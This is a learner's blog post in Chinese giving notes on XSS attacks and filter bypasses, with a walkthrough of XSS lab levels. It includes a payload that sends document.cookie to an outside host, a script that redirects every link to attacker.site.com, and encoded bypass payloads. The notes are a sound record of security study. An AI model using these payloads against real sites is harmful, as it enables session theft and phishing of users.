[渗透测试]XSS注入

看的是这个地方的视频:XSS注入权当入个门了,抓包工具也没装,手痒痒拿XSS闯关练了一下,感觉还是比SQL注入简单一点的。

  • 笔记的意义大概就是忘了的时候来查查。
  • 编码部分不懂也不会。。。

XSS注入

XSS跨站脚本分类

跨站脚本攻击,为了不和CSS缩写混淆,所以缩写为XSS,恶意攻击者往往在web页面里插入恶意的script代码,当用户浏览该页时,嵌入其中web里面的script代码会被执行,从而达到恶意攻击用户的目的。
简单模型:
用户登录->攻击者将准备的URL提交给客户->用户请求攻击者的URL->服务器对攻击者的Jvascript作出回应->攻击者的javascript在用户的浏览器中执行->用户的浏览器向攻击者发送会话令牌(cookie)->攻击者劫持用户会话

  • 反射型XSS:攻击具有一次性。反射型XSS攻击一般时通过电子邮件或者网站的形式向用户诱骗至恶意链接,当用户点击时服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户,用户浏览器解析执行代码触发XSS漏洞,例如
<?php
echo $_GET["uname"];
?>

当用户访问url?uname=<scipt>alert("hello");</script>时,触发代码弹出对话框

反射型XSS

  • 存储型XSS:持久型XSS,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。例如,攻击者在发帖的过程中嵌入XSS攻击代码,如果没有过滤或者过滤不严,这些帖子将被目标服务器存储在数据库中,当用户进行正常访问请求存储的数据时时,触发XSS代码。这种XSS非常危险,容易造成蠕虫,大量窃取cookie。
    与反射型XSS的即时响应相比,存储型XSS需要先把利用代码保存在比如数据库或者文件中,当web程序读取利用代码时再输出在页面上执行利用代码
  • DOM型XSS:DOM是一个与平台、变成语言无关的接口,它允许程序或脚本动态的更新文档的内容、结构及样式,处理后的结果能够成为显示页面的一部分。客户端的脚本可以通过DOM动态的检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM漏洞。(服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应式DOM对象会处理XSS代码,触发XSS漏洞)

XSS盗取cookie

cookie是web服务器保存在用户浏览器or客户端上的文件,包含了有关用户的信息。

  • 临时cookie:只在浏览器上保存一段规定的时间,一旦超过规定时间,该cookie就会被系统清除。
    作用:服务器利用cookie包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。
    反射XSS盗取cookie:
#location重定向
url?uname=<script>document.location=http://ip/cookie.php?cookie="+document.cookie</script>

将链接发送到用户,用户点击即触发XSS漏洞,同时可以使用URL编码迷惑用户

XSS篡改网页链接

<script>
window.onload = function(){
    var link = document.getElementsByTagName("a");
    for(j=0;j<link.length;j++){
        link[j].href="http://attacker.site.com/";}
}
</script>

作用:可以篡改链接指向流量URL,刷流量,可以利用某些站点的重定向将上面的所有超链接都指向这个网站。
Beef进行恶意链接生产,以及利用hook.js执行其他命令

XSS盗取用户信息

原理:克隆网站登陆页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登陆页面,用户输入登陆,账号和密码被存储。
setookit工具克隆网站
window.location进行重定向

没有过滤的XSS

探测XSS过程:

  • 伪造一个独一无二且不会被识别为恶意代码的字符串用来提交到页面
  • 使用浏览器审查工具进行代码审查,寻找构造的字符串是否在代码中出现
  • 构造XSS payload
    • 简单payload: <script>alert(document.domain);</script>
    • 闭合标签payload: "</b><script>alert(document.domain);</script>

属性中的XSS

配置chrome关闭XSS-Auditor,配置Chrome --args --disable-xss-auditor
XSS闭合引入事件:"onmouseover=alert(document.domain)>

隐藏参数中的XSS

HTML中svg介绍
svg意为可缩放矢量图形,使用XML格式定义图像,SVG文件可通过以下标签嵌入HTML文档:<embed>、<object>或者<iframe>,也可以使用svg标签插入<svg/事件="">
闭合触发XSS
"><svg onload=alert(document.domain)>%0a

限制输入长度的XSS

可以用python.len查看对应的字节数
html代码中标签有个maxlen属性可以更改前端限制的输入长度

javascript伪代码触发XSS

将js代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中,这个特殊的协议类型声明了URL的主体是任意的js代码,它由js的解释器运行,如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。例如

javascript:var now=new Date();"<h1>The time is:</h1>"+now;

Javascript URL还可以含有只执行动作,但不返回值的javascript语句。
javascript:alert("hello world")
payload伪协议触发XSS漏洞:javascript:alert(document.domain)
👆常常用在a标签里,需要点击才能触发
<a href="javascript:alert(document.domain)";>

绕过过滤domain为空的XSS

双写绕过:类似于SQL注入里的,dodomainmain:<script>alert(document.dodomainmain);</script>
编码绕过:把domain进行加密,例如

#引号中的是经过base64加密后的结果
<script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

绕过替换script和on时间的XSS

比如过滤了on事件,将其替换为onxxxx,<script>被替换为了<xscript>
解决方法:可以用tab、回车、换行、空格来欺骗浏览器,例如构造:

"><a href="javascr&#10;ipt:alert(document.domain);">1<a>

利用IE特性绕过XSS过滤:

IE特性:两个反引号``可以闭合一个左边双引号
构造payload:
``onmouseover=alert(document.domain)

利用CSS特性绕过XSS过滤:

CSS特性:background:url("javascript:alert(document.domian);");设置背景颜色
设置background:url,利用javascript伪协议执行js。目前IE浏览器支持,其他浏览器已经不再支持
构造payload:

background-color:#f00;background:url("javascript:alert(document.domain);");

IE中利用CSS触发XSS

css中执行js

css expression(css表达式)又称dynamic properties,是早期微软DHTML的产物,以其可以在css中定义表达式来达到建立元素间属性之间的练习等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始取消对css expression的支持。
早期很多开发人员利用css expression实现了许多效果,比如将元素相对鼠标指针进行定位,根据一个定时器来移动元素等等,当然这些效果能够使用js实现。虽然css表达式问题很多,但是我们依然能够在网上看到他们的影子,甚至在一些成熟的商业网站上,最常见的一个应用就是悬浮在页面上的某个模块(比如导航、返回顶部)

注释绕过关键字过滤

利用的特性是CSS中的注释//,
绕过对关键字expression的过滤ex/
/pression

xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
#如果把window.x=1去掉,就会一直弹窗,只能用任务管理器强制关闭了

16进制绕过过滤触发XSS

16进制:0~9, A~F,可以用python的binascii.b2a_hex()方法将字符转换为16进制。

双斜杠+16进制绕过:将脚本进行16进制转义
payload:

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
\\x3c表示<,\\x3e表示>

unicode绕过过滤触发XSS

unicode包括字符集、编码方案等,为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。
双斜杠+unicode绕过:

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

浏览器同源策略

由协议//主机名:端口号/组成,例如http://www.example.comhttps://www.example.com不是同源。
同源策略(协议、主机名、端口号必须完全一致):在计算机中,同源策略SOP用于阻止一个非同源的页面恶意代码去访问另外一个非同源页面。只有两个页面属于同一个源才能访问,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所以a.com下的js脚本采用ajax读取b.com里面的文件数据是会报错的。例如,源A页面要访问源B页面认证cookie,如果不加阻止读取cookie,会造成cookie欺骗绕过登陆验证。

IE源的特殊处理

  • 位于可信域的互信的域名间,不受同源策略限制。
  • IE在判断同源时不考虑端口
  • 可以通过document.domain读取或修改源,但是有限制,修改之后的源不能通过其他脚本再次修改。

document.domain

domain属性可以解决因同源安全策略带来的不同文档的属性共享问题。降域可以使用document.domain。
同源策略认为域和子域属于不同的域,如:
child1.a.com与a.com
child1.a.comchild2.a.com
xxx.child1.a.comchild1.a.com
两两不同源,可以通过设置document.domain='a.com',浏览器就会认为它们都是同一个源。想要实现以上任意两个页面之间的通信,两个页面必须都设置document.domain='a.com'

cookie的HTTPONLY设置

当PHP脚本的setcookie("user","admin",NULL,NULL,NULL,NULL,TRUE)的最后一项设置为true时,就不能使用js获取cookie了

xss-filter过滤器

PHP中由htmlspecialchars()把预定义的字符转换为HTML实体,而不是作为一个标签作用于前端的元素
htmlentities()函数将一些特殊字符转换为HTML实体,例如输入<会转换为<
strip_tags()函数取出字符串中HTML、XML以及PHP的标签
自定义XSS filter:主要是用正则表达式过滤的,网上可以download下来直接用

编码转义介绍

URL编码

Url的设计者考虑到安全传输的问题,防止url字符丢失,所以选用了相对较小的、通用的安全字母表。另一方面希望url是完整的,有时候需要url中包含除去通用安全字母表之外的二进制数据和字符(如中文),所以URL引入了一种转义机制,将不安全的字符编码为安全字符再进行传输。

html编码

一些保留字符出现在文本节点和标签值里是不安全的。比如"<>"会导致浏览器误认为标签,如果想要正确的显示这些字符,需要使用html编码。

  • 实体编码:一般以&开头,;结尾,可以不加;
  • 进制编码:以&#开头,加上字符的数值,;结尾,可以不加;。字符的数值可以是任意十进制ascii码或unicode字符编码。十六进制的数值需要在编码数字前加x

javascript编码

  • 数字形式:\u后面加4位16进制数字(或\x后加2位16进制数字),按字符的unicode数值编码,不足位数以0填充。
  • jsfuck

编码含义
浏览器对提交的编码进行自解析并执行,可以通过这种方式进行注入


XSS发生的位置

GET型,如果在URL中提交的参数值在页面中显示,很有可能存在XSS漏洞。
POST型表单中提交的参数值,如果在页面中显示也很有可能存在XSS。
json型数据,可以在value值中进行闭合并注入。
HTTP自定义头中提交的参数值,如果在页面中显示就很有可能存在XSS

XSS平台挑战

链接:http://test.ctf8.com/level1.php?name=test

1~4关是正常闭合再alert即可;
第5关,将on时间和script都进行了替换,试了一下加空格和大小写都没有用,百度了一下大佬们是加入了一个a标签,链接到document.domain了;
第6关,改一下大小写;
第7关,双写绕过过滤;
第8关,研究了一会也不会,百度了以下大家是用实体编码搞的,我翻了翻笔记用的这个,其实输入的地方会变成友情链接的href值,想着在这里注入就行。但是我还没懂这个编码,改天抽个时间出来研究研究。
javascr&#10;ipt:alert(document.domain)
第9关,原创 当黑客就入门 XSS-Lab第九关没懂,答案是
javascri&#x0070;t:alert(1)/*http://www.baidu.com*/
第10关,我一开始以为是改url里的参数,这一题其实是有属性type为hidden的元素,在这个地方注入,我其实是直接把type="hidden"这个地方改成了type="" onmouseover=alert(1) 😂这样我竟然对了,但是查了查别人写的,都是在URL里传参数&t_sort=123 " onclick="alert(1)"然后把这个地方改成type="text",至于那个控件传参数需要一个一个的试试。
第11关,大佬们说需要用burpsuite改,没装,不搞了,用10关我自己的方法蒙混过关了
第12关.瞅瞅network,是user-agent,不搞了
第13关,好像是cookie,咱也不知道是为啥,也不知道大佬们哪里搞来的PHP源码。。
第15关,不知道你懵没懵,反正我是瞎整过关了
这两个博客我都没看懂这关咋搞的:
XSS闯关挑战
XSS闯关笔记

突然意识到我改了人家的html代码,不弹窗才怪。。然后这个网站检测是否通过的方法就是弹窗,所以我才能通过,其实后几个题都没做对,肯定没注入成功。嗯傻了。。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,772评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,458评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,610评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,640评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,657评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,590评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,962评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,631评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,870评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,611评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,704评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,386评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,969评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,944评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,179评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,742评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,440评论 2 342